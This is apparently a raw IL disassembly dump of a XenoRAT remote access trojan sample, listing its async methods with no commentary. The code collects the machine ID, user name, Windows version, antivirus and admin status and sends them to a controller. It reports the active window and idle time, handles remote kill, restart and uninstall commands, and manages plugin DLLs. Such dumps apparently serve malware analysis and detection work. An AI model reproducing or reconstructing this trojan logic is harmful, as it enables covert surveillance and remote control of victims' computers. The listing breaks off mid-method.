File xenorat_388d80a52076aa1f8329606606b21086eddf22d051624057b329c9250489f0c7.exe
Function:
    00002fc0
    00002fc0<DebugMenu>d__10::MoveNext:
    00002fc0ldarg.0
    00002fc1ldfld <>1__state
    00002fc6stloc.0
    00002fc7ldarg.0
    00002fc8ldfld <>4__this
    00002fcdstloc.1
    00002fceldloc.0
    00002fcfswitch (IL_00a3, IL_0168, IL_01df)
    00002fe0ldarg.0
    00002fe1ldfld data
    00002fe6ldc.i4.1
    00002fe7ldelem.u1
    00002fe8stloc.2
    00002fe9ldloc.2
    00002feaswitch (IL_0040, IL_00cd, IL_018f)
    00002ffbbr IL_0204
    00003000ldarg.0
    00003001ldfld subServer
    00003006call get_UTF8
    0000300bldstr "\n"
    00003010ldloc.1
    00003011ldfld dllhandler
    00003016ldfld Assemblies
    0000301bcallvirt get_Keys
    00003020call Join
    00003025callvirt GetBytes
    0000302acallvirt SendAsync
    0000302fcallvirt GetAwaiter
    00003034stloc.s 5
    00003036ldloca.s 5
    00003038call get_IsCompleted
    0000303dbrtrue.s IL_00c0
    0000303fldarg.0
    00003040ldc.i4.0
    00003041dup
    00003042stloc.0
    00003043stfld <>1__state
    00003048ldarg.0
    00003049ldloc.s 5
    0000304bstfld <>u__1
    00003050ldarg.0
    00003051ldflda <>t__builder
    00003056ldloca.s 5
    00003058ldarg.0
    00003059call 0x2B000010
    0000305eleave IL_0232
    00003063ldarg.0
    00003064ldfld <>u__1
    00003069stloc.s 5
    0000306bldarg.0
    0000306cldflda <>u__1
    00003071initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
    00003077ldarg.0
    00003078ldc.i4.m1
    00003079dup
    0000307astloc.0
    0000307bstfld <>1__state
    00003080ldloca.s 5
    00003082call GetResult
    00003087pop
    00003088br IL_0204
    0000308dcall get_UTF8
    00003092ldarg.0
    00003093ldfld data
    00003098ldc.i4.2
    00003099call 0x2B000011
    0000309ecall 0x2B000012
    000030a3callvirt GetString
    000030a8stloc.3
    000030a9ldc.i4.0
    000030aastloc.s 4
    000030acldloc.1
    000030adldfld dllhandler
    000030b2ldfld Assemblies
    000030b7callvirt get_Keys
    000030bcldloc.3
    000030bdcall 0x2B000013
    000030c2brfalse.s IL_0117
    000030c4ldloc.1
    000030c5ldfld dllhandler
    000030caldfld Assemblies
    000030cfldloc.3
    000030d0callvirt Remove
    000030d5stloc.s 4
    000030d7ldarg.0
    000030d8ldfld subServer
    000030ddldc.i4.1
    000030denewarr System.Byte
    000030e3dup
    000030e4ldc.i4.0
    000030e5ldloc.s 4
    000030e7brtrue.s IL_012c
    000030e9ldc.i4.0
    000030eabr.s IL_012d
    000030ecldc.i4.1
    000030edconv.u1
    000030eestelem.i1
    000030efcallvirt SendAsync
    000030f4callvirt GetAwaiter
    000030f9stloc.s 5
    000030fbldloca.s 5
    000030fdcall get_IsCompleted
    00003102brtrue.s IL_0185
    00003104ldarg.0
    00003105ldc.i4.1
    00003106dup
    00003107stloc.0
    00003108stfld <>1__state
    0000310dldarg.0
    0000310eldloc.s 5
    00003110stfld <>u__1
    00003115ldarg.0
    00003116ldflda <>t__builder
    0000311bldloca.s 5
    0000311dldarg.0
    0000311ecall 0x2B000010
    00003123leave IL_0232
    00003128ldarg.0
    00003129ldfld <>u__1
    0000312estloc.s 5
    00003130ldarg.0
    00003131ldflda <>u__1
    00003136initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
    0000313cldarg.0
    0000313dldc.i4.m1
    0000313edup
    0000313fstloc.0
    00003140stfld <>1__state
    00003145ldloca.s 5
    00003147call GetResult
    0000314cpop
    0000314dbr.s IL_0204
    0000314fldarg.0
    00003150ldfld subServer
    00003155call get_UTF8
    0000315aldsfld ProcessLog
    0000315fcallvirt ToString
    00003164callvirt GetBytes
    00003169callvirt SendAsync
    0000316ecallvirt GetAwaiter
    00003173stloc.s 5
    00003175ldloca.s 5
    00003177call get_IsCompleted
    0000317cbrtrue.s IL_01fc
    0000317eldarg.0
    0000317fldc.i4.2
    00003180dup
    00003181stloc.0
    00003182stfld <>1__state
    00003187ldarg.0
    00003188ldloc.s 5
    0000318astfld <>u__1
    0000318fldarg.0
    00003190ldflda <>t__builder
    00003195ldloca.s 5
    00003197ldarg.0
    00003198call 0x2B000010
    0000319dleave.s IL_0232
    0000319fldarg.0
    000031a0ldfld <>u__1
    000031a5stloc.s 5
    000031a7ldarg.0
    000031a8ldflda <>u__1
    000031adinitobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
    000031b3ldarg.0
    000031b4ldc.i4.m1
    000031b5dup
    000031b6stloc.0
    000031b7stfld <>1__state
    000031bcldloca.s 5
    000031becall GetResult
    000031c3pop
    000031c4leave.s IL_021f
    000031c6stloc.s 6
    000031c8ldarg.0
    000031c9ldc.i4.s -2
    000031cbstfld <>1__state
    000031d0ldarg.0
    000031d1ldflda <>t__builder
    000031d6ldloc.s 6
    000031d8call SetException
    000031ddleave.s IL_0232
    000031dfldarg.0
    000031e0ldc.i4.s -2
    000031e2stfld <>1__state
    000031e7ldarg.0
    000031e8ldflda <>t__builder
    000031edcall SetResult
    000031f2ret
    00002fc0
    0000321c
    0000321c<GetAndSendInfo>d__5::MoveNext:
    0000321cldarg.0
    0000321dldfld <>1__state
    00003222stloc.0
    00003223ldloc.0
    00003224brfalse IL_00f7
    00003229ldarg.0
    0000322aldfld Type0
    0000322fldfld SockType
    00003234brfalse.s IL_001f
    00003236leave IL_0137
    0000323bldstr "1.8.7"
    00003240stloc.1
    00003241ldc.i4.7
    00003242newarr System.String
    00003247dup
    00003248ldc.i4.0
    00003249call HWID
    0000324estelem.ref
    0000324fdup
    00003250ldc.i4.1
    00003251call get_UserName
    00003256stelem.ref
    00003257dup
    00003258ldc.i4.2
    00003259call GetCurrent
    0000325ecallvirt get_Name
    00003263stelem.ref
    00003264dup
    00003265ldc.i4.3
    00003266ldloc.1
    00003267stelem.ref
    00003268dup
    00003269ldc.i4.4
    0000326acall GetWindowsVersion
    0000326fstelem.ref
    00003270dup
    00003271ldc.i4.5
    00003272call GetAntivirus
    00003277stelem.ref
    00003278dup
    00003279ldc.i4.6
    0000327acall IsAdmin
    0000327fstloc.s 5
    00003281ldloca.s 5
    00003283call ToString
    00003288stelem.ref
    00003289stloc.2
    0000328aldc.i4.0
    0000328bnewarr System.Byte
    00003290stloc.3
    00003291ldc.i4.1
    00003292newarr System.Byte
    00003297stloc.s 4
    00003299ldc.i4.0
    0000329astloc.s 6
    0000329cbr.s IL_00b3
    0000329ecall get_UTF8
    000032a3ldloc.2
    000032a4ldloc.s 6
    000032a6ldelem.ref
    000032a7callvirt GetBytes
    000032acstloc.s 7
    000032aeldloc.3
    000032afldloc.s 7
    000032b1call Concat
    000032b6stloc.3
    000032b7ldloc.s 6
    000032b9ldloc.2
    000032baldlen
    000032bbconv.i4
    000032bcldc.i4.1
    000032bdsub
    000032bebeq.s IL_00ad
    000032c0ldloc.3
    000032c1ldloc.s 4
    000032c3call Concat
    000032c8stloc.3
    000032c9ldloc.s 6
    000032cbldc.i4.1
    000032ccadd
    000032cdstloc.s 6
    000032cfldloc.s 6
    000032d1ldloc.2
    000032d2ldlen
    000032d3conv.i4
    000032d4blt.s IL_0082
    000032d6ldarg.0
    000032d7ldfld Type0
    000032dcldloc.3
    000032ddcallvirt SendAsync
    000032e2callvirt GetAwaiter
    000032e7stloc.s 8
    000032e9ldloca.s 8
    000032ebcall get_IsCompleted
    000032f0brtrue.s IL_0114
    000032f2ldarg.0
    000032f3ldc.i4.0
    000032f4dup
    000032f5stloc.0
    000032f6stfld <>1__state
    000032fbldarg.0
    000032fcldloc.s 8
    000032festfld <>u__1
    00003303ldarg.0
    00003304ldflda <>t__builder
    00003309ldloca.s 8
    0000330bldarg.0
    0000330ccall 0x2B000014
    00003311leave.s IL_014a
    00003313ldarg.0
    00003314ldfld <>u__1
    00003319stloc.s 8
    0000331bldarg.0
    0000331cldflda <>u__1
    00003321initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
    00003327ldarg.0
    00003328ldc.i4.m1
    00003329dup
    0000332astloc.0
    0000332bstfld <>1__state
    00003330ldloca.s 8
    00003332call GetResult
    00003337pop
    00003338leave.s IL_0137
    0000333astloc.s 9
    0000333cldarg.0
    0000333dldc.i4.s -2
    0000333fstfld <>1__state
    00003344ldarg.0
    00003345ldflda <>t__builder
    0000334aldloc.s 9
    0000334ccall SetException
    00003351leave.s IL_014a
    00003353ldarg.0
    00003354ldc.i4.s -2
    00003356stfld <>1__state
    0000335bldarg.0
    0000335cldflda <>t__builder
    00003361call SetResult
    00003366ret
    0000321c
    00003390
    00003390<SendUpdateInfo>d__11::MoveNext:
    00003390ldarg.0
    00003391ldfld <>1__state
    00003396stloc.0
    00003397ldloc.0
    00003398switch (IL_0052, IL_00b9, IL_0148)
    000033a9call GetCaptionOfActiveWindowAsync
    000033aecallvirt GetAwaiter
    000033b3stloc.s 5
    000033b5ldloca.s 5
    000033b7call get_IsCompleted
    000033bcbrtrue.s IL_006f
    000033beldarg.0
    000033bfldc.i4.0
    000033c0dup
    000033c1stloc.0
    000033c2stfld <>1__state
    000033c7ldarg.0
    000033c8ldloc.s 5
    000033castfld <>u__1
    000033cfldarg.0
    000033d0ldflda <>t__builder
    000033d5ldloca.s 5
    000033d7ldarg.0
    000033d8call 0x2B000015
    000033ddleave IL_01a9
    000033e2ldarg.0
    000033e3ldfld <>u__1
    000033e8stloc.s 5
    000033ealdarg.0
    000033ebldflda <>u__1
    000033f0initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<string>
    000033f6ldarg.0
    000033f7ldc.i4.m1
    000033f8dup
    000033f9stloc.0
    000033fastfld <>1__state
    000033ffldloca.s 5
    00003401call GetResult
    00003406stloc.s 4
    00003408ldarg.0
    00003409ldloc.s 4
    0000340bstfld <currwin>5__2
    00003410call GetIdleTimeAsync
    00003415callvirt GetAwaiter
    0000341astloc.s 6
    0000341cldloca.s 6
    0000341ecall get_IsCompleted
    00003423brtrue.s IL_00d6
    00003425ldarg.0
    00003426ldc.i4.1
    00003427dup
    00003428stloc.0
    00003429stfld <>1__state
    0000342eldarg.0
    0000342fldloc.s 6
    00003431stfld <>u__2
    00003436ldarg.0
    00003437ldflda <>t__builder
    0000343cldloca.s 6
    0000343eldarg.0
    0000343fcall 0x2B000016
    00003444leave IL_01a9
    00003449ldarg.0
    0000344aldfld <>u__2
    0000344fstloc.s 6
    00003451ldarg.0
    00003452ldflda <>u__2
    00003457initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<uint32>
    0000345dldarg.0
    0000345eldc.i4.m1
    0000345fdup
    00003460stloc.0
    00003461stfld <>1__state
    00003466ldloca.s 6
    00003468call GetResult
    0000346dldc.i4 1000
    00003472div.un
    00003473stloc.s 7
    00003475ldloca.s 7
    00003477call ToString
    0000347cstloc.1
    0000347dldarg.0
    0000347eldfld <currwin>5__2
    00003483ldstr "\n"
    00003488ldloc.1
    00003489call Concat
    0000348estloc.2
    0000348fcall get_UTF8
    00003494ldloc.2
    00003495callvirt GetBytes
    0000349astloc.3
    0000349bldarg.0
    0000349cldfld node
    000034a1ldloc.3
    000034a2callvirt SendAsync
    000034a7callvirt GetAwaiter
    000034acstloc.s 8
    000034aeldloca.s 8
    000034b0call get_IsCompleted
    000034b5brtrue.s IL_0165
    000034b7ldarg.0
    000034b8ldc.i4.2
    000034b9dup
    000034bastloc.0
    000034bbstfld <>1__state
    000034c0ldarg.0
    000034c1ldloc.s 8
    000034c3stfld <>u__3
    000034c8ldarg.0
    000034c9ldflda <>t__builder
    000034celdloca.s 8
    000034d0ldarg.0
    000034d1call 0x2B000017
    000034d6leave.s IL_01a9
    000034d8ldarg.0
    000034d9ldfld <>u__3
    000034destloc.s 8
    000034e0ldarg.0
    000034e1ldflda <>u__3
    000034e6initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
    000034ecldarg.0
    000034edldc.i4.m1
    000034eedup
    000034efstloc.0
    000034f0stfld <>1__state
    000034f5ldloca.s 8
    000034f7call GetResult
    000034fcpop
    000034fdleave.s IL_018f
    000034ffstloc.s 9
    00003501ldarg.0
    00003502ldc.i4.s -2
    00003504stfld <>1__state
    00003509ldarg.0
    0000350aldnull
    0000350bstfld <currwin>5__2
    00003510ldarg.0
    00003511ldflda <>t__builder
    00003516ldloc.s 9
    00003518call SetException
    0000351dleave.s IL_01a9
    0000351fldarg.0
    00003520ldc.i4.s -2
    00003522stfld <>1__state
    00003527ldarg.0
    00003528ldnull
    00003529stfld <currwin>5__2
    0000352eldarg.0
    0000352fldflda <>t__builder
    00003534call SetResult
    00003539ret
    00003390
    00003564
    00003564<Type0Receive>d__6::MoveNext:
    00003564ldarg.0
    00003565ldfld <>1__state
    0000356astloc.0
    0000356bldarg.0
    0000356cldfld <>4__this
    00003571stloc.1
    00003572ldloc.0
    00003573switch (IL_0064, IL_00ff, IL_0186)
    00003584br IL_01aa
    00003589ldloc.1
    0000358aldfld Main
    0000358fcallvirt ReceiveAsync
    00003594callvirt GetAwaiter
    00003599stloc.s 4
    0000359bldloca.s 4
    0000359dcall get_IsCompleted
    000035a2brtrue.s IL_0081
    000035a4ldarg.0
    000035a5ldc.i4.0
    000035a6dup
    000035a7stloc.0
    000035a8stfld <>1__state
    000035adldarg.0
    000035aeldloc.s 4
    000035b0stfld <>u__1
    000035b5ldarg.0
    000035b6ldflda <>t__builder
    000035bbldloca.s 4
    000035bdldarg.0
    000035becall 0x2B000018
    000035c3leave IL_01f3
    000035c8ldarg.0
    000035c9ldfld <>u__1
    000035cestloc.s 4
    000035d0ldarg.0
    000035d1ldflda <>u__1
    000035d6initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<uint8[]>
    000035dcldarg.0
    000035ddldc.i4.m1
    000035dedup
    000035dfstloc.0
    000035e0stfld <>1__state
    000035e5ldloca.s 4
    000035e7call GetResult
    000035ecstloc.2
    000035edldloc.2
    000035eebrfalse IL_01ba
    000035f3ldloc.2
    000035f4ldc.i4.0
    000035f5ldelem.u1
    000035f6stloc.3
    000035f7ldloc.3
    000035f8switch (IL_00b2, IL_00bf, IL_0128, IL_0134, IL_0150)
    00003611br IL_01aa
    00003616ldloc.1
    00003617ldloc.2
    00003618call CreateSubSock
    0000361dpop
    0000361ebr IL_01aa
    00003623ldloc.1
    00003624ldloc.1
    00003625ldfld Main
    0000362acall GetAndSendInfo
    0000362fcallvirt GetAwaiter
    00003634stloc.s 5
    00003636ldloca.s 5
    00003638call get_IsCompleted
    0000363dbrtrue.s IL_011c
    0000363fldarg.0
    00003640ldc.i4.1
    00003641dup
    00003642stloc.0
    00003643stfld <>1__state
    00003648ldarg.0
    00003649ldloc.s 5
    0000364bstfld <>u__2
    00003650ldarg.0
    00003651ldflda <>t__builder
    00003656ldloca.s 5
    00003658ldarg.0
    00003659call 0x2B000019
    0000365eleave IL_01f3
    00003663ldarg.0
    00003664ldfld <>u__2
    00003669stloc.s 5
    0000366bldarg.0
    0000366cldflda <>u__2
    00003671initobj System.Runtime.CompilerServices.TaskAwaiter
    00003677ldarg.0
    00003678ldc.i4.m1
    00003679dup
    0000367astloc.0
    0000367bstfld <>1__state
    00003680ldloca.s 5
    00003682call GetResult
    00003687br IL_01aa
    0000368ccall GetCurrentProcess
    00003691callvirt Kill
    00003696br.s IL_01aa
    00003698call GetEntryAssembly
    0000369dcallvirt get_Location
    000036a2call Start
    000036a7pop
    000036a8call GetCurrentProcess
    000036adcallvirt Kill
    000036b2br.s IL_01aa
    000036b4call Uninstall
    000036b9callvirt GetAwaiter
    000036bestloc.s 5
    000036c0ldloca.s 5
    000036c2call get_IsCompleted
    000036c7brtrue.s IL_01a3
    000036c9ldarg.0
    000036caldc.i4.2
    000036cbdup
    000036ccstloc.0
    000036cdstfld <>1__state
    000036d2ldarg.0
    000036d3ldloc.s 5
    000036d5stfld <>u__2
    000036daldarg.0
    000036dbldflda <>t__builder
    000036e0ldloca.s 5
    000036e2ldarg.0
    000036e3call 0x2B000019
    000036e8leave.s IL_01f3
    000036ealdarg.0
    000036ebldfld <>u__2
    000036f0stloc.s 5
    000036f2ldarg.0
    000036f3ldflda <>u__2
    000036f8initobj System.Runtime.CompilerServices.TaskAwaiter
    000036feldarg.0
    000036ffldc.i4.m1
    00003700dup
    00003701stloc.0
    00003702stfld <>1__state
    00003707ldloca.s 5
    00003709call GetResult
    0000370eldloc.1
    0000370fldfld Main
    00003714callvirt Connected
    00003719brtrue IL_0025
    0000371eldloc.1
    0000371fldfld Main
    00003724callvirt Disconnect
    00003729leave.s IL_01e0
    0000372bstloc.s 6
    0000372dldarg.0
    0000372eldc.i4.s -2
    00003730stfld <>1__state
    00003735ldarg.0
    00003736ldflda <>t__builder
    0000373bldloc.s 6
    0000373dcall SetException
    00003742leave.s IL_01f3
    00003744ldarg.0
    00003745ldc.i4.s -2
    00003747stfld <>1__state
    0000374cldarg.0
    0000374dldflda <>t__builder
    00003752call SetResult
    00003757ret
    00003564
    00003780
    00003780<Type1Receive>d__7::MoveNext:
    00003780ldarg.0
    00003781ldfld <>1__state
    00003786stloc.0
    00003787ldarg.0
    00003788ldfld <>4__this
    0000378dstloc.1
    0000378eldloc.0
    0000378fswitch (IL_0095, IL_00f7, IL_016c, IL_01db)
    000037a4ldarg.0
    000037a5ldc.i4.1
    000037a6newarr System.Byte
    000037abdup
    000037acldc.i4.0
    000037adldc.i4.1
    000037aestelem.i1
    000037afstfld <HearbeatReply>5__2
    000037b4ldarg.0
    000037b5ldc.i4.1
    000037b6newarr System.Byte
    000037bbdup
    000037bcldc.i4.0
    000037bdldc.i4.2
    000037bestelem.i1
    000037bfstfld <HearbeatFail>5__3
    000037c4ldarg.0
    000037c5ldfld subServer
    000037caldc.i4 5000
    000037cfcallvirt SetRecvTimeout
    000037d4br IL_0200
    000037d9ldc.i4 1000
    000037decall Delay
    000037e3callvirt GetAwaiter
    000037e8stloc.3
    000037e9ldloca.s 3
    000037ebcall get_IsCompleted
    000037f0brtrue.s IL_00b1
    000037f2ldarg.0
    000037f3ldc.i4.0
    000037f4dup
    000037f5stloc.0
    000037f6stfld <>1__state
    000037fbldarg.0
    000037fcldloc.3
    000037fdstfld <>u__1
    00003802ldarg.0
    00003803ldflda <>t__builder
    00003808ldloca.s 3
    0000380aldarg.0
    0000380bcall 0x2B00001A
    00003810leave IL_027d
    00003815ldarg.0
    00003816ldfld <>u__1
    0000381bstloc.3
    0000381cldarg.0
    0000381dldflda <>u__1
    00003822initobj System.Runtime.CompilerServices.TaskAwaiter
    00003828ldarg.0
    00003829ldc.i4.m1
    0000382adup
    0000382bstloc.0
    0000382cstfld <>1__state
    00003831ldloca.s 3
    00003833call GetResult
    00003838ldarg.0
    00003839ldfld subServer
    0000383ecallvirt ReceiveAsync
    00003843callvirt GetAwaiter
    00003848stloc.s 4
    0000384aldloca.s 4
    0000384ccall get_IsCompleted
    00003851brtrue.s IL_0114
    00003853ldarg.0
    00003854ldc.i4.1
    00003855dup
    00003856stloc.0
    00003857stfld <>1__state
    0000385cldarg.0
    0000385dldloc.s 4
    0000385fstfld <>u__2
    00003864ldarg.0
    00003865ldflda <>t__builder
    0000386aldloca.s 4
    0000386cldarg.0
    0000386dcall 0x2B00001B
    00003872leave IL_027d
    00003877ldarg.0
    00003878ldfld <>u__2
    0000387dstloc.s 4
    0000387fldarg.0
    00003880ldflda <>u__2
    00003885initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<uint8[]>
    0000388bldarg.0
    0000388cldc.i4.m1
    0000388ddup
    0000388estloc.0
    0000388fstfld <>1__state
    00003894ldloca.s 4
    00003896call GetResult
    0000389bstloc.2
    0000389cldloc.2
    0000389dbrfalse IL_021d
    000038a2ldloc.2
    000038a3ldc.i4.0
    000038a4ldelem.u1
    000038a5brfalse.s IL_0196
    000038a7ldarg.0
    000038a8ldfld subServer
    000038adldarg.0
    000038aeldfld <HearbeatFail>5__3
    000038b3callvirt SendAsync
    000038b8callvirt GetAwaiter
    000038bdstloc.s 5
    000038bfldloca.s 5
    000038c1call get_IsCompleted
    000038c6brtrue.s IL_0189
    000038c8ldarg.0
    000038c9ldc.i4.2
    000038cadup
    000038cbstloc.0
    000038ccstfld <>1__state
    000038d1ldarg.0
    000038d2ldloc.s 5
    000038d4stfld <>u__3
    000038d9ldarg.0
    000038daldflda <>t__builder
    000038dfldloca.s 5
    000038e1ldarg.0
    000038e2call 0x2B00001C
    000038e7leave IL_027d
    000038ecldarg.0
    000038edldfld <>u__3
    000038f2stloc.s 5
    000038f4ldarg.0
    000038f5ldflda <>u__3
    000038fainitobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
    00003900ldarg.0
    00003901ldc.i4.m1
    00003902dup
    00003903stloc.0
    00003904stfld <>1__state
    00003909ldloca.s 5
    0000390bcall GetResult
    00003910pop
    00003911br IL_021d
    00003916ldarg.0
    00003917ldfld subServer
    0000391cldarg.0
    0000391dldfld <HearbeatReply>5__2
    00003922callvirt SendAsync
    00003927callvirt GetAwaiter
    0000392cstloc.s 5
    0000392eldloca.s 5
    00003930call get_IsCompleted
    00003935brtrue.s IL_01f8
    00003937ldarg.0
    00003938ldc.i4.3
    00003939dup
    0000393astloc.0
    0000393bstfld <>1__state
    00003940ldarg.0
    00003941ldloc.s 5
    00003943stfld <>u__3
    00003948ldarg.0
    00003949ldflda <>t__builder
    0000394eldloca.s 5
    00003950ldarg.0
    00003951call 0x2B00001C
    00003956leave IL_027d
    0000395bldarg.0
    0000395cldfld <>u__3
    00003961stloc.s 5
    00003963ldarg.0
    00003964ldflda <>u__3
    00003969initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
    0000396fldarg.0
    00003970ldc.i4.m1
    00003971dup
    00003972stloc.0
    00003973stfld <>1__state
    00003978ldloca.s 5
    0000397acall GetResult
    0000397fpop
    00003980ldarg.0
    00003981ldfld subServer
    00003986callvirt Connected
    0000398bbrfalse.s IL_021d
    0000398dldloc.1
    0000398eldfld Main
    00003993callvirt Connected
    00003998brtrue IL_0059
    0000399dldloc.1
    0000399eldfld Main
    000039a3callvirt Disconnect
    000039a8ldarg.0
    000039a9ldfld subServer
    000039aecallvirt Disconnect
    000039b3leave.s IL_025c
    000039b5stloc.s 6
    000039b7ldarg.0
    000039b8ldc.i4.s -2
    000039bastfld <>1__state
    000039bfldarg.0
    000039c0ldnull
    000039c1stfld <HearbeatReply>5__2
    000039c6ldarg.0
    000039c7ldnull
    000039c8stfld <HearbeatFail>5__3
    000039cdldarg.0
    000039celdflda <>t__builder
    000039d3ldloc.s 6
    000039d5call SetException
    000039daleave.s IL_027d
    000039dcldarg.0
    000039ddldc.i4.s -2
    000039dfstfld <>1__state
    000039e4ldarg.0
    000039e5ldnull
    000039e6stfld <HearbeatReply>5__2
    000039ebldarg.0
    000039ecldnull
    000039edstfld <HearbeatFail>5__3
    000039f2ldarg.0
    000039f3ldflda <>t__builder
    000039f8call SetResult
    000039fdret
    00003780
    00003a28
    00003a28<Type2Receive>d__9::MoveNext:
    00003a28ldarg.0
    00003a29ldfld <>1__state
    00003a2estloc.0
    00003a2fldarg.0
    00003a30ldfld <>4__this
    00003a35stloc.1
    00003a36ldloc.0
    00003a37switch (IL_006c, IL_00fa, IL_0168, IL_01d2, IL_023b)
    00003a50br IL_025f
    00003a55ldarg.0
    00003a56ldfld subServer
    00003a5bcallvirt ReceiveAsync
    00003a60callvirt GetAwaiter
    00003a65stloc.s 4
    00003a67ldloca.s 4
    00003a69call get_IsCompleted
    00003a6ebrtrue.s IL_0089
    00003a70ldarg.0
    00003a71ldc.i4.0
    00003a72dup
    00003a73stloc.0
    00003a74stfld <>1__state
    00003a79ldarg.0
    00003a7aldloc.s 4
    00003a7cstfld <>u__1
    00003a81ldarg.0
    00003a82ldflda <>t__builder
    00003a87ldloca.s 4
    00003a89ldarg.0
    00003a8acall 0x2B00001D
    00003a8fleave IL_02b5
    00003a94ldarg.0
    00003a95ldfld <>u__1
    00003a9astloc.s 4
    00003a9cldarg.0
    00003a9dldflda <>u__1
    00003aa2initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<uint8[]>
    00003aa8ldarg.0
    00003aa9ldc.i4.m1
    00003aaadup
    00003aabstloc.0
    00003aacstfld <>1__state
    00003ab1ldloca.s 4
    00003ab3call GetResult
    00003ab8stloc.2
    00003ab9ldloc.2
    00003ababrfalse IL_027c
    00003abfldloc.2
    00003ac0ldc.i4.0
    00003ac1ldelem.u1
    00003ac2stloc.3
    00003ac3ldloc.3
    00003ac4switch (IL_00ba, IL_0123, IL_0191, IL_01f8, IL_01fd)
    00003addbr IL_025f
    00003ae2ldloc.1
    00003ae3ldarg.0
    00003ae4ldfld subServer
    00003ae9call SendUpdateInfo
    00003aeecallvirt GetAwaiter
    00003af3stloc.s 5
    00003af5ldloca.s 5
    00003af7call get_IsCompleted
    00003afcbrtrue.s IL_0117
    00003afeldarg.0
    00003affldc.i4.1
    00003b00dup
    00003b01stloc.0
    00003b02stfld <>1__state
    00003b07ldarg.0
    00003b08ldloc.s 5
    00003b0astfld <>u__2
    00003b0fldarg.0
    00003b10ldflda <>t__builder
    00003b15ldloca.s 5
    00003b17ldarg.0
    00003b18call 0x2B00001E
    00003b1dleave IL_02b5
    00003b22ldarg.0
    00003b23ldfld <>u__2
    00003b28stloc.s 5
    00003b2aldarg.0
    00003b2bldflda <>u__2
    00003b30initobj System.Runtime.CompilerServices.TaskAwaiter
    00003b36ldarg.0
    00003b37ldc.i4.m1
    00003b38dup
    00003b39stloc.0
    00003b3astfld <>1__state
    00003b3fldloca.s 5
    00003b41call GetResult
    00003b46br IL_025f
    00003b4bldloc.1
    00003b4cldfld dllhandler
    00003b51ldarg.0
    00003b52ldfld subServer
    00003b57callvirt DllNodeHandler
    00003b5ccallvirt GetAwaiter
    00003b61stloc.s 5
    00003b63ldloca.s 5
    00003b65call get_IsCompleted
    00003b6abrtrue.s IL_0185
    00003b6cldarg.0
    00003b6dldc.i4.2
    00003b6edup
    00003b6fstloc.0
    00003b70stfld <>1__state
    00003b75ldarg.0
    00003b76ldloc.s 5
    00003b78stfld <>u__2
    00003b7dldarg.0
    00003b7eldflda <>t__builder
    00003b83ldloca.s 5
    00003b85ldarg.0
    00003b86call 0x2B00001E
    00003b8bleave IL_02b5
    00003b90ldarg.0
    00003b91ldfld <>u__2
    00003b96stloc.s 5
    00003b98ldarg.0
    00003b99ldflda <>u__2
    00003b9einitobj System.Runtime.CompilerServices.TaskAwaiter
    00003ba4ldarg.0
    00003ba5ldc.i4.m1
    00003ba6dup
    00003ba7stloc.0
    00003ba8stfld <>1__state
    00003badldloca.s 5
    00003bafcall GetResult
    00003bb4br IL_027c
    00003bb9ldloc.1
    00003bbaldarg.0
    00003bbbldfld subServer
    00003bc0ldloc.2
    00003bc1call setSetId
    00003bc6callvirt GetAwaiter
    00003bcbstloc.s 5
    00003bcdldloca.s 5
    00003bcfcall get_IsCompleted
    00003bd4brtrue.s IL_01ef
    00003bd6ldarg.0
    00003bd7ldc.i4.3
    00003bd8dup
    00003bd9stloc.0
    00003bdastfld <>1__state
    00003bdfldarg.0
    00003be0ldloc.s 5
    00003be2stfld <>u__2
    00003be7ldarg.0
    00003be8ldflda <>t__builder
    00003bedldloca.s 5
    00003befldarg.0
    00003bf0call 0x2B00001E
    00003bf5leave IL_02b5
    00003bfaldarg.0
    00003bfbldfld <>u__2
    00003c00stloc.s 5
    00003c02ldarg.0
    00003c03ldflda <>u__2
    00003c08initobj System.Runtime.CompilerServices.TaskAwaiter
    00003c0eldarg.0
    00003c0fldc.i4.m1
    00003c10dup
    00003c11stloc.0
    00003c12stfld <>1__state
    00003c17ldloca.s 5
    00003c19call GetResult
    00003c1ebr.s IL_025f
    00003c20leave IL_02a2
    00003c25ldloc.1
    00003c26ldarg.0
    00003c27ldfld subServer
    00003c2cldloc.2
    00003c2dcall DebugMenu
    00003c32callvirt GetAwaiter
    00003c37stloc.s 5
    00003c39ldloca.s 5
    00003c3bcall get_IsCompleted
    00003c40brtrue.s IL_0258
    00003c42ldarg.0
    00003c43ldc.i4.4
    00003c44dup
    00003c45stloc.0
    00003c46stfld <>1__state
    00003c4bldarg.0
    00003c4cldloc.s 5
    00003c4estfld <>u__2
    00003c53ldarg.0
    00003c54ldflda <>t__builder
    00003c59ldloca.s 5
    00003c5bldarg.0
    00003c5ccall 0x2B00001E
    00003c61leave.s IL_02b5
    00003c63ldarg.0
    00003c64ldfld <>u__2
    00003c69stloc.s 5
    00003c6bldarg.0
    00003c6cldflda <>u__2
    00003c71initobj System.Runtime.CompilerServices.TaskAwaiter
    00003c77ldarg.0
    00003c78ldc.i4.m1
    00003c79dup
    00003c7astloc.0
    00003c7bstfld <>1__state
    00003c80ldloca.s 5
    00003c82call GetResult
    00003c87ldarg.0
    00003c88ldfld subServer
    00003c8dcallvirt Connected
    00003c92brfalse.s IL_027c
    00003c94ldloc.1
    00003c95ldfld Main
    00003c9acallvirt Connected
    00003c9fbrtrue IL_002d
    00003ca4ldarg.0
    00003ca5ldfld subServer
    00003caacallvirt Disconnect
    00003cafleave.s IL_02a2
    00003cb1stloc.s 6
    00003cb3ldarg.0
    00003cb4ldc.i4.s -2
    00003cb6stfld <>1__state
    00003cbbldarg.0
    00003cbcldflda <>t__builder
    00003cc1ldloc.s 6
    00003cc3call SetException
    00003cc8leave.s IL_02b5
    00003ccaldarg.0
    00003ccbldc.i4.s -2
    00003ccdstfld <>1__state
    00003cd2ldarg.0
    00003cd3ldflda <>t__builder
    00003cd8call SetResult
    00003cddret
    00003a28
    00003d08
    00003d08<setSetId>d__8::MoveNext:
    00003d08ldarg.0
